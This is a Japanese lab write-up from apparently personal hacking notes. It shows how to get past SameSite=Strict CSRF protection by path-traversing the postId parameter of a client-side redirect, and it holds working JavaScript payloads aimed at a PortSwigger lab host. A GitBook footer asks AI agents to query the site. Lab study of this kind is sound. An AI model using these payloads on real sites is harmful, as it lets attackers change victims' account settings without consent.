> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/csrf/samesite-strict-bypass-via-client-side-redirect.md).

# クライアントサイドリダイレクトを介したSameSite Strict回避

PortSwigger Web Security Academy のラボ向けメモ。クライアントサイドリダイレクトを介したSameSite Strict回避に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### クライアントサイドリダイレクトによる SameSite Strict の回避

このラボのメールアドレス変更フォームは CSRF 脆弱性があります。目的は、提供されたエクスプロイトサーバー上に攻撃コードをホストして、被害者のメールアドレスを変更することです。

**アクセスをテスト**/ ラボで使用されているアカウント： `wiener:peter`

### 主な観察事項

1. メールアドレス変更機能は、次の種類の GET リクエストで動作します：

```
/my-account/change-email?email=test@test.com&submit=1
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c279c29fa3fd5ccfc80ca7c720668a4706016e5e%2F%7BF725B8E6-39FA-4AB5-B021-83E05A2866ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次のような JavaScript リダイレクトを送信することで：

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/my-account/change-email?email=hack@test.com&submit=1";
</script>
```

* ユーザーがログインしていない場合、ページは認証を求めます — クエリは別のサイトから来た場合、セッション Cookie を送信しません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a0785a909909198d37154188592bdf694f11188%2F%7B40D344CB-B245-47BB-978B-67395A966759%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

その `Set-Cookie` ヘッダーには `SameSite=Strict`これにより、別のコンテキスト（クロスサイト）から開始された閲覧時にセッション Cookie の送信が防がれ、通常は典型的なリダイレクト攻撃がブロックされます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e5a93876195634ad746eec8f7616fe08bd69822%2F%7B40E7CE84-9F58-4CE0-ABBA-C36450709733%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 悪用される領域（コメント → 確認 → リダイレクト）

1. コメント欄があり、その後次の場所へリダイレクトされます：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34c4ed0a0afb5edf7c6448634f7997ad59fa6119%2F%7B5A780B31-5971-4D76-905D-3D15A05DA61D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```
post/comment/confirmation?postId=8
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01b0d5113f39a9ee7ff00ef22d731d90743fe07a%2F%7BF8EFB3C0-8422-4F58-A261-EA208AEDD2FE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

確認ページ上のスクリプトが次を抽出します `postId` パラメータを取得し、3秒後に対応する投稿へリダイレクトします：

```javascript
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04cbdecfbd48765c8e35e1c42dd4cff58c35dd71%2F%7BFF4DA673-40BE-4323-A16B-79A11BAD3B25%7D.png?alt=media" alt="" width="353"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b02ac08f943a02057ae35a483423edf3c0f5009e%2F%7BBA448886-F21F-4DC4-AFE8-B2E111BBA46C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
window.location = blogPath + '/' + postId;
```

```
window.location = blogPath + '/' + ../my-account;
```

この動作を観察すると、次のことがわかります `postId` は厳密には必須ではありません：その値を変更すると（たとえば `test`）、リダイレクト先は `.../test` 明らかな検証なしで。

#### パスの操作によって SameSite Strict を回避する

アイデア：次へのリダイレクトを置き換える `blogPath + '/' + postId` を `postId` 相対 `..` セグメントを含めて、対象サイト上のパスに到達します（上位ディレクトリへ戻る）、たとえば：

`/post/comment/confirmation?postId=../my-account`

* するとリダイレクトは、セッション Cookie をブロックせずに上位ディレクトリへ向かいます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6794c405153de696edb99d1555959467b7a9bcf%2F%7BF1ABC765-E66E-4261-BE0B-43E5E79F14C6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

より具体的なものを作成することで `postId`、メールの変更機能を直接狙います：

```
/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1
```

メールアドレス変更ページへの単純なリダイレクト：

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/csrf/samesite-strict-bypass-via-client-side-redirect.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
